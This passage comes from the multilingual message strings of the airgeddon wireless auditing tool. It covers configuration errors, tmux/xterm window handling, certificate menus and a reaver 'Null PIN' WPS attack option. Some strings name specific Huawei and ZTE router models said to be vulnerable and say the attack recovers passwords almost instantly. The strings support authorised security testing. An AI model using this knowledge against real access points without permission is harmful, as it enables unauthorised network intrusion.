文件。未找到配置变量 \${normal_color}\${error_var_name}\${yellow_color}。将使用默认值 \${normal_color}\${error_var_default_value}\${yellow_color}" arr["ENGLISH",615]="There is an error in your configuration. Please check the \${rc_path} file. You have enabled the option to force the use of iptables instead of nftables (\${normal_color}AIRGEDDON_FORCE_IPTABLES\${red_color}) but your system doesn't have iptables installed. Disable this option or install iptables to fix the problem" arr["SPANISH",615]="Hay un error en tu configuración. Por favor revisa el fichero \${rc_path}. Has activado la opción para forzar el uso de iptables en lugar de nftables (\${normal_color}AIRGEDDON_FORCE_IPTABLES\${red_color}) pero tu sistema no tiene iptables instaladas. Deshabilita esta opción o instala iptables para solucionar el problema" arr["FRENCH",615]="Il y a une erreur dans votre configuration. Veuillez vérifier le fichier \${rc_path}. Vous avez activé l'option pour forcer l'utilisation de iptables à la place de nftables (\${normal_color}AIRGEDDON_FORCE_IPTABLES\${red_color}) mais iptables n'est pas installé sur votre système. Désactivez cette option ou installez iptables pour résoudre le problème" arr["CATALAN",615]="Hi ha un error en la configuració. Si us plau comprova el fitxer \${rc_path}. Has activat l'opció per forçar l'ús d'iptables en lloc de nftables (\${normal_color}AIRGEDDON_FORCE_IPTABLES\${red_color}) però el teu sistema no té iptables instal·lades. Deshabilita aquesta opció o instal·la iptables per solucionar el problema" arr["PORTUGUESE",615]="Existe um erro na sua configuração. Por favor, verifique o arquivo \${rc_path}. Você ativou a opção para forçar o uso de iptables em vez de nftables (\${normal_color}AIRGEDDON_FORCE_IPTABLES\${red_color}), mas seu sistema não possui o iptables instalado. Desabilite esta opção ou instale o iptables para resolver o problema" arr["RUSSIAN",615]="В вашей конфигурации имеется ошибка. Пожалуйста, проверьте файл \${rc_path}. Вы включили опцию принудительного использования iptables вместо nftables (\${normal_color}AIRGEDDON_FORCE_IPTABLES\${red_color}), но в вашей системе не установлены iptables. Отключите эту опцию или установите iptables, чтобы исправить проблему" arr["GREEK",615]="Υπάρχει ένα σφάλμα στο configuration σας. Ελέγξτε το αρχείο \${rc_path}. Έχετε ενεργοποιήσει την επιλογή που εξαναγκάζει τη χρήση του iptables αντί του nftables (\${normal_color}AIRGEDDON_FORCE_IPTABLES\${red_color}) και το σύστημά σας δεν έχει το έχει εγκατεστημένο (iptables). Απενεργοποιήστε την επιλογή αυτή ή εγκαταστήστε το iptables για να επιλυθεί το πρόβλημα" arr["ITALIAN",615]="C'è un errore nella tua configurazione. Per favore controlla il file \${rc_path}. Hai attivato l'opzione per forzare l'uso di iptables invece di nftables (\${normal_color}AIRGEDDON_FORCE_IPTABLES\${red_color}) ma il tuo sistema non ha iptables installato. Disabilita questa opzione o installa iptables per risolvere il problema" arr["POLISH",615]="Wystąpił błąd konfiguracji. Sprawdź plik \${rc_path}. Aktywowałeś opcję wymuszania użycia iptables zamiast nftables (\${normal_color}AIRGEDDON_FORCE_IPTABLES\${red_color}), ale twój system nie ma zainstalowanego iptables. Wyłącz tę opcję lub zainstaluj iptables, aby rozwiązać problem" arr["GERMAN",615]="Ein Fehler wurde in Ihren Einstellungen gefunden. Bitte überprüfen Sie die Datei \${rc_path}. Sie haben die Option aktiviert, um die Verwendung von iptables anstelle von nftables zu erzwingen (\${normal_color}AIRGEDDON_FORCE_IPTABLES\${red_color}), aber auf Ihrem System sind iptables nicht installiert. Deaktivieren Sie diese Option oder installieren Sie iptables, um das Problem zu lösen" arr["TURKISH",615]="Yapılandırmanızda bir hata var. Lütfen \${rc_path} dosyasını kontrol edin. Nftables (\${normal_color}AIRGEDDON_FORCE_IPTABLES\${red_color}) yerine iptables kullanımını zorlama seçeneğini etkinleştirdiniz, ancak sisteminizde iptables kurulu değil. Bu seçeneği devre dışı bırakın veya sorunu çözmek için iptables yükleyin" arr["ARABIC",615]="لإصلاح المشكلة iptables مثبتًا. قم بتعطيل هذا الخيار أو قم بتثبيت iptables ولكن نظامك ليس به (\${normal_color}AIRGEDDON_FORCE_IPTABLES\${red_color}) nftables بدلاً من iptables لقد قمت بتفعيل خيار فرض استخدام .\${rc_path} هناك خطأ في التكوين الخاص بك. يرجى التحقق من ملف" arr["CHINESE",615]="您的配置有错误。请检查 \${rc_path} 文件。您启用了强制使用 iptables 而不是 nftables 的选项 (\${normal_color}AIRGEDDON_FORCE_IPTABLES\${red_color}) 但您的系统没有安装 iptables。禁用此选项或安装 iptables 以解决问题" arr["ENGLISH",616]="10. Change windows handling method to tmux" arr["SPANISH",616]="10. Cambiar el método de manejo de ventanas a tmux" arr["FRENCH",616]="10. Changer la méthode de gestion des fenêtres en tmux" arr["CATALAN",616]="10. Canviar el mètode de maneig de finestres a tmux" arr["PORTUGUESE",616]="10. Alterar gerenciador de janelas para tmux" arr["RUSSIAN",616]="10. Изменить метод управления окнами на tmux" arr["GREEK",616]="10. Αλλάξτε τη μέθοδο διαχείρισης παραθύρων σε tmux" arr["ITALIAN",616]="10. Cambiare il metodo di gestione delle finestre a tmux" arr["POLISH",616]="10. Zmień metodę zarządzania oknami na tmux" arr["GERMAN",616]="10. Ändern Sie die Fensterverwaltung zu tmux" arr["TURKISH",616]="10. Pencere yönetimi yöntemini tmux olarak değiştirin" arr["ARABIC",616]="10. tmux تغيير طريقة التعامل مع النوافذ إلى" arr["CHINESE",616]="10. 将窗口处理程序改为 tmux" arr["ENGLISH",617]="10. Change windows handling method to xterm" arr["SPANISH",617]="10. Cambiar el método de manejo de ventanas a xterm" arr["FRENCH",617]="10. Changer la méthode de gestion des fenêtres en xterm" arr["CATALAN",617]="10. Canviar el mètode de maneig de finestres a xterm" arr["PORTUGUESE",617]="Alterar gerenciador de janelas para xterm" arr["RUSSIAN",617]="10. Изменить метод управления окнами на xterm" arr["GREEK",617]="10. Αλλάξτε τη μέθοδο διαχείρισης παραθύρων σε xterm" arr["ITALIAN",617]="10. Cambiare il metodo di gestione delle finestre a xterm" arr["POLISH",617]="10. Zmień metodę zarządzania oknami na xterm" arr["GERMAN",617]="10. Ändern Sie die Fensterverwaltung zu xterm" arr["TURKISH",617]="10. Pencere yönetimi yöntemini xterm olarak değiştirin" arr["ARABIC",617]="10. xterm تغيير طريقة التعامل مع النوافذ إلى" arr["CHINESE",617]="10. 将窗口处理程序更改为 xterm" arr["ENGLISH",618]="Current windows handling: \${pink_color}xterm\${normal_color}\${reboot_required_text}" arr["SPANISH",618]="Manejo de ventanas actual: \${pink_color}xterm\${normal_color}\${reboot_required_text}" arr["FRENCH",618]="Gestion actuelle des fenêtres: \${pink_color}xterm\${normal_color}\${reboot_required_text}" arr["CATALAN",618]="Maneig de finestres actual: \${pink_color}xterm\${normal_color}\${reboot_required_text}" arr["PORTUGUESE",618]="Gerenciador de janelas atual: \${pink_color}xterm\${normal_color}\${reboot_required_text}" arr["RUSSIAN",618]="Текущее управление окнами: \${pink_color}xterm\${normal_color}\${reboot_required_text}" arr["GREEK",618]="Τρέχουσα διαχείριση παραθύρων: \${pink_color}xterm\${normal_color}\${reboot_required_text}" arr["ITALIAN",618]="Gestione delle finestre attuale: \${pink_color}xterm\${normal_color}\${reboot_required_text}" arr["POLISH",618]="Bieżące zarządzanie oknami: \${pink_color}xterm\${normal_color}\${reboot_required_text}" arr["GERMAN",618]="Aktuelle Fensterverwaltung: \${pink_color}xterm\${normal_color}\${reboot_required_text}" arr["TURKISH",618]="Mevcut pencere yönetimi: \${pink_color}xterm\${normal_color}\${reboot_required_text}" arr["ARABIC",618]="\${pink_color}xterm\${normal_color}\${reboot_required_text}\${blue_color} :إدارة النافذة الحالية\${normal_color}" arr["CHINESE",618]="当前窗口处理程序: \${pink_color}xterm\${normal_color}\${reboot_required_text}" arr["ENGLISH",619]="Current windows handling: \${pink_color}tmux\${normal_color}\${reboot_required_text}" arr["SPANISH",619]="Manejo de ventanas actual: \${pink_color}tmux\${normal_color}\${reboot_required_text}" arr["FRENCH",619]="Gestion actuelle des fenêtres: \${pink_color}tmux\${normal_color}\${reboot_required_text}" arr["CATALAN",619]="Maneig de finestres actual: \${pink_color}tmux\${normal_color}\${reboot_required_text}" arr["PORTUGUESE",619]="Gerenciador de janelas atual: \${pink_color}tmux\${normal_color}\${reboot_required_text}" arr["RUSSIAN",619]="Текущее управление окнами: \${pink_color}tmux\${normal_color}\${reboot_required_text}" arr["GREEK",619]="Τρέχουσα διαχείριση παραθύρων: \${pink_color}tmux\${normal_color}\${reboot_required_text}" arr["ITALIAN",619]="Gestione delle finestre attuale: \${pink_color}tmux\${normal_color}\${reboot_required_text}" arr["POLISH",619]="Bieżące zarządzanie oknami: \${pink_color}tmux\${normal_color}\${reboot_required_text}" arr["GERMAN",619]="Aktuelle Fensterverwaltung: \${pink_color}tmux\${normal_color}\${reboot_required_text}" arr["TURKISH",619]="Mevcut pencere yönetimi: \${pink_color}tmux\${normal_color}\${reboot_required_text}" arr["ARABIC",619]="\${pink_color}tmux\${normal_color}\${reboot_required_text}\${blue_color} :إدارة النافذة الحالية\${normal_color}" arr["CHINESE",619]="当前窗口处理程序: \${pink_color}tmux\${normal_color}\${reboot_required_text}" arr["ENGLISH",620]="The option has been modified in the configuration file. Restart the script in order to make the changes to take effect" arr["SPANISH",620]="Se ha modificado la opción en el fichero de configuración. Reinicia el script para que los cambios tengan efecto" arr["FRENCH",620]="On a changé l'option dans le fichier de configuration. Redémarrez le script pour que les modifications prennent effet" arr["CATALAN",620]="S'ha modificat l'opció en el fitxer de configuració. Reinicia el script perquè els canvis tinguin efecte" arr["PORTUGUESE",620]="O arquivo de configuração foi modificado. Reinicie o script para que as alterações entrem em vigor" arr["RUSSIAN",620]="Эта опция изменила параметр в файле конфигурации. Перезапустите данный скрипт для того, чтобы изменения вступили в силу" arr["GREEK",620]="Η επιλογή στο configuration file τροποποιήθηκε. Επανεκκινήστε το script για να τεθούν οι αλλαγές σε ισχύ" arr["ITALIAN",620]="É stata cambiata l'opzione nel file di configurazione. Riavviare lo script affinché le modifiche abbiano effetto" arr["POLISH",620]="Ta opcja wywołała zmianę w pliku konfiguracyjnym. Ponownie uruchom skrypt, aby zmiany odniosły skutek" arr["GERMAN",620]="Es änderte sich die Option in der Konfigurationsdatei. Starten Sie das Skript neu, damit die Änderungen wirksam werden" arr["TURKISH",620]="Yapılandırma dosyasında bu seçenek değiştirildi. Değişikliklerin etkili olması için script'i yeniden başlatın" arr["ARABIC",620]="تم تعديل الخيار في ملف التكوين. أعد تشغيل البرنامج لجعل التغييرات سارية المفعول" arr["CHINESE",620]="该选项已在配置文件中修改。重新启动脚本以使更改生效" arr["ENGLISH",621]="It's not possible to run airgeddon in the current tmux session. This session will be sent to background and a new tmux session will be created for launching airgeddon" arr["SPANISH",621]="No es posible ejecutar airgeddon en la sesión tmux actual. Esta sesión será enviada a segundo plano y se creará una nueva sesión tmux donde airgeddon será lanzado" arr["FRENCH",621]="Il n'est pas possible de lancer airgeddon dans la session de tmux en cours. Cette session sera envoyée à l’arrière-plan et une nouvelle session tmux sera crée pour lancer airgeddon" arr["CATALAN",621]="No és possible executar airgeddon en la sessió tmux actual. Aquesta sessió serà enviada a segon pla i es crearà una nova sessió tmux on airgeddon serà llançat" arr["PORTUGUESE",621]="Não é possível executar o airgeddon na sessão atual do tmux. Esta sessão será colocada em segundo plano e uma nova sessão do tmux será criada onde o airgeddon será executado" arr["RUSSIAN",621]="Невозможно запустить airgeddon в текущей сессии tmux. Этот сеанс будет отправлен в фоновый режим, и будет создан новый сеанс tmux для запуска airgeddon" arr["GREEK",621]="Δεν είναι δυνατό να εκτελέσετε airgeddon στην τρέχουσα συνεδρία tmux. Αυτή η συνεδρία θα στείλει στο παρασκήνιο και θα δημιουργηθεί μια νέα συνεδρία tmux για την εκκίνηση του airgeddon" arr["ITALIAN",621]="Non è possibile eseguire airgeddon nella sessione corrente di tmux. Questa sessione verrà mandata in background e verrà creata una nuova sessione tmux in cui verrà lanciato airgeddon" arr["POLISH",621]="Nie można uruchomić airgeddon w bieżącej sesji tmux. Ta sesja zostanie wysłana na drugi plan. Zostanie utworzona nowa sesja tmux, w której będzie uruchomiony airgeddon" arr["GERMAN",621]="Es ist nicht möglich, airgeddon in der aktuellen tmux-Sitzung auszuführen. Diese Sitzung wird in den Hintergrund gesendet und eine neue Sitzung wird erstellt, in der airgeddon gestartet wird" arr["TURKISH",621]="Mevcut tmux seansında airgeddon çalıştırmak mümkün değildir. Bu oturum arka plana gönderilecek ve airgeddon'un başlatılacağı yeni bir tmux oturumu oluşturulacak" arr["ARABIC",621]="airgeddon جديدة لإطلاق tmux الحالية. سيتم إرسال هذه الدورة إلى الخلفية وسيتم إنشاء دورة tmux في دورة airgeddon ليس من المفعل تشغيل" arr["CHINESE",621]="在当前 tmux 会话中无法运行 airgeddon。该会话将被发送到后台并创建一个新的 tmux 会话以启动 airgeddon" arr["ENGLISH",622]="13. (reaver) Null PIN attack" arr["SPANISH",622]="13. (reaver) Ataque de PIN nulo" arr["FRENCH",622]="13. (reaver) Attaque de PIN nul" arr["CATALAN",622]="13. (reaver) Atac de PIN nul" arr["PORTUGUESE",622]="13. (reaver) Ataque de PIN nulo" arr["RUSSIAN",622]="13. (reaver) Атака с нулевым PIN" arr["GREEK",622]="13. (reaver) Null PIN επίθεση" arr["ITALIAN",622]="13. (reaver) Attacco del PIN nullo" arr["POLISH",622]="13. (reaver) Atak null PIN" arr["GERMAN",622]="13. (reaver) Null-PIN-Angriff" arr["TURKISH",622]="13. (reaver) Null PIN saldırısı" arr["ARABIC",622]="13. Null PIN هجوم (reaver)" arr["CHINESE",622]="13. (reaver) 空密码攻击" arr["ENGLISH",623]="You have reaver installed (v\${reaver_version}). You meet the version requirement to perform null PIN integrated reaver attack (minimum version v\${minimum_reaver_nullpin_version}). Script can continue..." arr["SPANISH",623]="Tienes reaver instalado (v\${reaver_version}). Cumples con el requisito de versión para realizar el ataque de PIN nulo integrado con reaver (versión minima v\${minimum_reaver_nullpin_version}). El script puede continuar..." arr["FRENCH",623]="Reaver est installé (v\${reaver_version}). Cette version est compatible avec l'attaque par PIN nul (version minimale: \${minimum_reaver_nullpin_version}). Le script peut continuer..." arr["CATALAN",623]="Tens reaver instal·lat (v\${reaver_version}). Compleixes amb el requisit de versió per a realitzar l'atac de PIN nul integrat amb reaver (versió mínima v\${minimum_reaver_nullpin_version}). El script pot continuar..." arr["PORTUGUESE",623]="Você tem o reaver instalado (v\${reaver_version}). Você cumpre a exigência de versão para o ataque de PIN nulo com reaver (versão mínima v\${minimum_reaver_nullpin_version}). O script pode continuar..." arr["RUSSIAN",623]="У вас установлен reaver (v\${reaver_version}). Версия удовлетворяет требованиям для выполнения интегрированной в reaver атаки нулевого PIN (минимальная версия v\${minimum_reaver_nullpin_version}). Скрипт может продолжить работу..." arr["GREEK",623]="Έχετε εγκατεστημένο το reaver (v\${reaver_version}). Έχετε την απαραίτητη έκδοση reaver για την επίθεση null PIN με ενσωματωμένο reaver (ελάχιστη έκδοση v\${minimum_reaver_nullpin_version}). Το script μπορεί να συνεχίσει..." arr["ITALIAN",623]="È stato installato reaver (v\${reaver_version}). Soddisfi il requisito della versione per realizzare l'attacco del PIN nullo integrato in reaver (versione minima v\${minimum_reaver_nullpin_version}). Lo script può continuare..." arr["POLISH",623]="Masz zainstalowany reaver (v\${reaver_version}). Spełnia on wymagania dotyczące wersji, aby wykonać atak null PIN (wersja minimalna v\${minimum_reaver_nullpin_version}). Skrypt może kontynuować..." arr["GERMAN",623]="Reaver ist installiert (v\${reaver_version}). Sie erfüllen die Versionsvoraussetzung, um den Null-PIN-Angriff auszuführen, der mit Reaver integriert ist (min Version v\${minimum_reaver_nullpin_version}). Das Skript kann fortfahren..." arr["TURKISH",623]="Reaver sisteminizde kurulu (v\${reaver_version}). Null PIN entegre edilmiş reaver saldırısını gerçekleştirmek için sürüm gereksinimini karşılıyorsunuz (minimum sürüm v\${minimum_reaver_nullpin_version}). Script devam edebilir..." arr["ARABIC",623]="...البرنامج يمكن أن يستمر .(v\${minimum_reaver_nullpin_version}الحد الأدنى من الإصدار) Reaver PIN integrated reaver أنت تستوفي متطلبات الإصدار لتنفيذ هجوم .(v\${reaver_version}) لقد قمت بتثبيت" arr["CHINESE",623]="你已经安装了 reaver (v\${reaver_version})。您满足执行空 PIN 集成掠夺者攻击的版本要求 (最低版本 v\${minimum_reaver_nullpin_version}) 。脚本可以继续..." arr["ENGLISH",624]="You have reaver installed (v\${reaver_version}), but not required version. To perform null PIN integrated reaver attack you must have at least version v\${minimum_reaver_nullpin_version}" arr["SPANISH",624]="Tienes reaver instalado (v\${reaver_version}), aunque no la versión requerida. Para realizar el ataque de PIN nulo integrado con reaver has de tener al menos la versión v\${minimum_reaver_nullpin_version}" arr["FRENCH",624]="Reaver est installé (v\${reaver_version}) mais cette version n'est pas compatible avec l'attaque par PIN nul. Version minimale requise: v\${minimum_reaver_nullpin_version}" arr["CATALAN",624]="Tens reaver instal·lat (v\${reaver_version}), encara que no és la versió requerida. Per realitzar l'atac de PIN nul integrat amb reaver has de tenir almenys la versió v\${minimum_reaver_nullpin_version}" arr["PORTUGUESE",624]="Você tem o reaver instalado (v\${reaver_version}), mas não a versão necessária. Para fazer o ataque de PIN nulo com reaver você precisa ter pelo menos a versão v\${minimum_reaver_nullpin_version}" arr["RUSSIAN",624]="У вас установлен reaver (v\${reaver_version}), но не та версия, которая требуется. Для выполнения интегрированной в reaver атаки нулевого PIN у вас должна быть по крайней мере v\${minimum_reaver_nullpin_version}" arr["GREEK",624]="Έχετε εγκατεστημένο το reaver (v\${reaver_version}), αλλά όχι την απαιτούμενη έκδοση. Για να εκτελέσετε την επίθεση null PIN με ενσωματωμένο reaver θα πρέπει να έχετε τουλάχιστον την έκδοση v\${minimum_reaver_nullpin_version}" arr["ITALIAN",624]="È stato installato reaver (v\${reaver_version}), ma non la versione richiesta. Per realizzare l'attacco del PIN nullo integrato in reaver devi avere almeno la versione v\${minimum_reaver_nullpin_version}" arr["POLISH",624]="Masz zainstalowany reaver (v\${reaver_version}), ale zbyt niską wersję. Aby zrealizować atak null PIN zintegrowany z programem reaver musisz mieć co najmniej wersję v\${minimum_reaver_nullpin_version}" arr["GERMAN",624]="Reaver ist installiert (v\${reaver_version}), jedoch nicht die erforderliche Version. Um den Null-PIN-Angriff mit Reaver zu integrieren, müssen Sie mindestens die Version v\${minimum_reaver_nullpin_version} haben" arr["TURKISH",624]="Reaver sisteminizde kurulu (v\${reaver_version}), ancak sürüm uygun değil. Boş PIN entegre reaver saldırısını gerçekleştirmek için minimum sürüm olan \${minimum_reaver_nullpin_version} olmalıdır" arr["ARABIC",624]="v\${minimum_reaver_nullpin_version}يجب أن يكون لديك على الأقل الإصدار ، PIN integrated reaver لكن ليس الإصدار المطلوب. لتنفيذ هجوم ، (v\${reaver_version}) لقد قمت بتثبيت" arr["CHINESE",624]="您已经安装了 reaver (v\${reaver_version}),但不是必需的版本。要执行空 PIN 集成掠夺者攻击,您必须至少具有版本 v\${minimum_reaver_nullpin_version}" arr["ENGLISH",625]="Null PIN attack is pretty fast and achieve the password almost instantly but only a few access points are vulnerable. Some of them are \"Huawei HG658C\", \"ZTE H218N\", \"ZTE H108N\" and \"ZTE H298N\"" arr["SPANISH",625]="El ataque de PIN nulo es muy rápido y consigue la contraseña instantáneamente pero solo unos pocos puntos de acceso son vulnerables. Algunos conocidos son \"Huawei HG658C\", \"ZTE H218N\", \"ZTE H108N\" y \"ZTE H298N\"" arr["FRENCH",625]="L'attaque de PIN nul est très rapide et il obtient le mot de passe instantanément, mais juste quelques points d'accès sont vulnérables. Certains sont \"Huawei HG658C\", \"ZTE H218N\", \"ZTE H108N\" et \"ZTE H298N\"" arr["CATALAN",625]="L'atac PIN nul és molt ràpid i aconsegueix la contrasenya instantàniament però només uns pocs punts d'accés són vulnerables. alguns són \"Huawei HG658C\", \"ZTE H218N\", \"ZTE H108N\" i \"ZTE H298N\"" arr["PORTUGUESE",625]="O ataque de PIN nulo é muito rápido e obtém a senha instantaneamente, mas apenas alguns pontos de acesso são vulneráveis. Alguns como: \"Huawei HG658C\", \"ZTE H218N\", \"ZTE H108N\" e \"ZTE H298N\"" arr["RUSSIAN",625]="Атака по нулевому PIN-коду очень быстрая и мгновенно получает пароль, но уязвимы только несколько точек доступа. Примеры некоторых из них: \"Huawei HG658C\", \"ZTE H218N\", \"ZTE H108N\" и \"ZTE H298N\"" arr["GREEK",625]="Η επίθεση null PIN είναι πολύ γρήγορη και παίρνει τον κωδικό άμεσα, αλλά μόνο λίγα σημεία πρόσβασης είναι ευάλωτα. Κάποια από αυτά είναι τα \"Huawei HG658C\", \"ZTE H218N\", \"ZTE H108N\" και \"ZTE H298N\"" arr["ITALIAN",625]="L'attacco del PIN nullo è molto veloce e ottiene la password all'istante, ma solo pochi punti di accesso sono vulnerabili. Alcuni conosciuti sono \"Huawei HG658C\", \"ZTE H218N\", \"ZTE H108N\" e \"ZTE H298N\"" arr["POLISH",625]="Atak null PIN jest bardzo szybki i natychmiast uzyskuje hasło. Niestety, tylko kilka punktów dostępu jest podatnych na ten atak. Niektóre z nich to \"Huawei HG658C\", \"ZTE H218N\", \"ZTE H108N\" i \"ZTE H298N\"" arr["GERMAN",625]="Der Null-PIN-Angriff ist sehr schnell und erhält das Kennwort sofort, aber nur wenige access points sind anfällig. Einige sind \"Huawei HG658C\", \"ZTE H218N\", \"ZTE H108N\" und \"ZTE H298N\"" arr["TURKISH",625]="Null PIN saldırısı çok hızlıdır ve şifreyi anında alır, ancak yalnızca birkaç erişim noktası korunmasızdır. Bazı \"Huawei HG658C\", \"ZTE H218N\", \"ZTE H108N\" ve \"ZTE H298N\"" arr["ARABIC",625]="\"ZTE H298N\" و ، \"ZTE H108N\" ، \"ZTE H218N\" ، \"Huawei HG658C\" سريعًا جدًا ويحقق كلمة المرورعلى الفور تقريبًا ولكن فقط نقاط وصول قليلة معرضة للخطر. بعضها Null PIN يعد هجوم" arr["CHINESE",625]="空 PIN 攻击速度非常快,几乎可以立即获得密码,但只有少数的 AP 易受到这种攻击。例如“Huawei HG658C*”、“ZTE H218N*”、“ZTE H108N*”和“ZTE H298N*”" arr["ENGLISH",626]="Since airgeddon 9.20 version, tmux is supported and it can be used instead of xterm as windows handler. Script can be launched in a headless environment without a graphical X window system. It is recommended only for advanced users. Like any other option, it can be configured on the options menu, on the \${rc_path} options file or launched using \${normal_color}AIRGEDDON_WINDOWS_HANDLING\${pink_color} \"flag\" in the command line. More information about options customization at Wiki: \${normal_color}\${urlgithub_wiki}/Options" arr["SPANISH",626]="A partir de la versión 9.20 de airgeddon, tmux está soportado y se puede utilizar en lugar de xterm como gestor de ventanas. Se puede lanzar el script en un entorno sin un sistema gráfico de ventanas X. Solo se recomienda hacerlo para usuarios avanzados. Como cualquier otra opción, se puede configurar desde el menú de opciones, configurarlo en el fichero de opciones \${rc_path} o lanzarlo usando el \"flag\" \${normal_color}AIRGEDDON_WINDOWS_HANDLING\${pink_color} en la línea de comandos. Más información acerca de la personalización de opciones en el Wiki: \${normal_color}\${urlgithub_wiki}/Options" arr["FRENCH",626]="À partir de la version 9.20 d'airgeddon, tmux est supporté et peut être utilisé à la place de xterm en tant que gestionnaire de fenêtres. Vous pouvez lancer le script dans un environnement dépourvu de système graphique X Windows. Il est recommandé aux utilisateurs avancés. Comme toute autre option, elle peut être configurée à partir du menu d'options, dans le fichier d'options \${rc_path} ou le lancer à l'aide de \"flag\" \${normal_color}AIRGEDDON_WINDOWS_HANDLING\${pink_color} sur la ligne de commande. Plus d'informations sur la personnalisation des options dans le Wiki: \${normal_color}\${urlgithub_wiki}/Options" arr["CATALAN",626]="A partir de la versió 9.20 de airgeddon, tmux està suportat i es pot utilitzar en lloc de xterm com a gestor de finestres. Es pot llançar l'script en un entorn sense un sistema gràfic de finestres X. Només es recomana fer-ho per a usuaris avançats. Com qualsevol altra opció, es pot configurar des del menú d'opcions, configurar en el fitxer d'opcions \${rc_path} o llançar usant el \"flag\" \${normal_color}AIRGEDDON_WINDOWS_HANDLING\${pink_color} en la línia d'ordres. Més informació sobre la personalització d'opcions al Wiki: \${normal_color}\${urlgithub_wiki}/Options" arr["PORTUGUESE",626]="A partir da versão 9.20 do airgeddon, o tmux pode ser usado em vez do xterm como gerenciador de janelas. Você pode iniciar o script em um ambiente sem um sistema gráfico (X-Window). É recomendado apenas para usuários avançados. Como as demais opções, pode ser configurado a partir do menu, configurado no arquivo de opções \${rc_path} ou iniciado usando o \"parâmetro\" \${normal_color}AIRGEDDON_WINDOWS_HANDLING\${pink_color} na linha de comando. Mais informações sobre a customização de opções no Wiki: \${normal_color}\${urlgithub_wiki}/Options" arr["RUSSIAN",626]="Начиная с версии airgeddon 9.20, поддерживается tmux и он может использоваться вместо xterm в качестве обработчика окон. Скрипт может быть запущен в автономной среде без графической системы X Window. Рекомендуется только для опытных пользователей. Как и любой другой параметр, его можно настроить в меню параметров, в файле параметров \${rc_path} или запустить с помощью \${normal_color}AIRGEDDON_WINDOWS_HANDLING\${pink_color} \"flag\" в командной строке. Больше информации о настройке опций на Wiki: \${normal_color}\${urlgithub_wiki}/Options" arr["GREEK",626]="Από την έκδοση 9.20 του airgeddon, υποστηρίζεται το tmux και μπορεί να χρησιμοποιηθεί αντί του xterm ως χειριστής παραθύρων. Το script μπορεί να εκκινηθεί σε headless περιβάλλον χωρίς γραφικό σύστημα παραθύρου X. Συνιστάται μόνο για προχωρημένους χρήστες. Όπως και κάθε άλλη επιλογή, μπορεί να ρυθμιστεί στο μενού επιλογών, στο αρχείο επιλογών \${rc_path} ή να εκκινηθεί χρησιμοποιώντας το \"flag\" \${normal_color}AIRGEDDON_WINDOWS_HANDLING\${pink_color} στη γραμμή εντολών. Περισσότερες πληροφορίες σχετικά με την προσαρμογή των επιλογών στο Wiki: \${normal_color}\${urlgithub_wiki}/Options" arr["ITALIAN",626]="A partire dalla versione 9.20 di airgeddon, tmux è supportato e può essere usato al posto di xterm come gestore di finestre. È possibile avviare lo script in un ambiente senza un sistema grafico di finestre X. È consigliato solo per utenti esperti. Come qualsiasi altra opzione, può essere configurata dal menu delle opzioni, configurata nel file delle opzioni \${rc_path} o avviata utilizzando il \"flag\" \${normal_color}AIRGEDDON_WINDOWS_HANDLING\${pink_color} dalla linea di comando. Maggiori informazioni sulla personalizzazione delle opzioni nella Wiki: \${normal_color}\${urlgithub_wiki}/Options" arr["POLISH",626]="Począwszy od wersji 9.20 airgeddon, tmux jest obsługiwany i może być używany zamiast xterm jako menedżer okien. Skrypt można uruchomić w środowisku bez systemu graficznego X window. Zalecany jest tylko dla zaawansowanych użytkowników. Jak każdą inna opcję, można ją skonfigurować z menu, w pliku opcji \${rc_path} lub uruchomić za pomocą \"flag\" \${normal_color}AIRGEDDON_WINDOWS_HANDLING\${pink_color} w wierszu poleceń. Więcej informacji na temat dostosowywania opcji w Wiki: \${normal_color}\${urlgithub_wiki}/Options" arr["GERMAN",626]="Ab airgeddon Version 9.20 wird tmux unterstützt und kann anstelle von xterm als Fenstermanager verwendet werden. Sie können das Skript in einer Umgebung ohne Grafiksystem von X-Fenstern starten, es wird nur für fortgeschrittene Benutzer empfohlen. Wie jede andere Option kann sie über das Optionsmenü konfiguriert werden, in der Optionsdatei \${rc_path} konfiguriert oder mit dem \"flag\" \${normal_color}AIRGEDDON_WINDOWS_HANDLING\${pink_color} in der Befehlszeile gestartet werden. Weitere Informationen zur Anpassung der Optionen im Wiki: \${normal_color}\${urlgithub_wiki}/Options" arr["TURKISH",626]="airgeddon'un 9.20 sürümünden itibaren, tmux destekleniyor ve bir pencere yöneticisi olarak xterm yerine kullanılabilir. Senaryoyu X windows grafik sistemine sahip olmayan bir ortamda başlatabilirsiniz, sadece ileri düzey kullanıcılar için önerilir. Diğer seçeneklerde olduğu gibi, seçenekler menüsünden yapılandırılabilir, \${rc_path} seçenekler dosyasında yapılandırılabilir veya komut satırında \"flag\" \${normal_color}AIRGEDDON_WINDOWS_HANDLING\${pink_color} kullanılarak başlatılabilir. Wiki'deki seçeneklerin özelleştirilmesi hakkında daha fazla bilgi: \${normal_color}\${urlgithub_wiki}/Options" arr["ARABIC",626]="\${normal_color}\${urlgithub_wiki}/Options \${pink_color}:في سطر الأوامر. مزيد من المعلومات حول تخصيص الخيارات في \${normal_color}AIRGEDDON_WINDOWS_HANDLING\${pink_color} \"flag\" أو تشغيله باستخدام \${rc_path} ومن المستحسن إستخدامه من طرف للمستخدمين المتقدمين. مثل أي خيار آخر ، يمكن تهيئه من قائمة الخيارات ، في ملف الخيارات .X Windows كمدير نوافذ. يمكنك تشغيل البرنامج النصي في بيئة بدون نظام رسومات xterm ويمكن استخدامه بدلاً من tmux يتم دعم ، airgeddon 9.20 من الإصدار\${normal_color}" arr["CHINESE",626]="从 airgeddon 9.20 版开始支持 tmux,可以使用它代替 xterm 作为窗口处理程序。脚本可以在没有图形 X11 界面系统的命令行界面中启动。仅建议高级用户使用。与任何其他选项一样,它可以在选项菜单上配置,在 \${rc_path} 选项文件中或在命令行中使用 \${normal_color}AIRGEDDON_WINDOWS_HANDLING\${pink_color} \"flag\" 启动。有关该脚本选项自定义的更多信息: \${normal_color}\${urlgithub_wiki}/Options" arr["ENGLISH",627]="certificates" arr["SPANISH",627]="certificados" arr["FRENCH",627]="certificats" arr["CATALAN",627]="certificats" arr["PORTUGUESE",627]="certificados" arr["RUSSIAN",627]="сертификаты" arr["GREEK",627]="πιστοποιητικά" arr["ITALIAN",627]="certificati" arr["POLISH",627]="certyfikaty" arr["GERMAN",627]="Zertifikate" arr["TURKISH",627]="sertifikalar" arr["ARABIC",627]="الشهادات" arr["CHINESE",627]="证书" arr["ENGLISH",628]="5. Create custom certificates" arr["SPANISH",628]="5. Crear certificados personalizados" arr["FRENCH",628]="5. Créer des certificats personnalisés" arr["CATALAN",628]="5. Crear 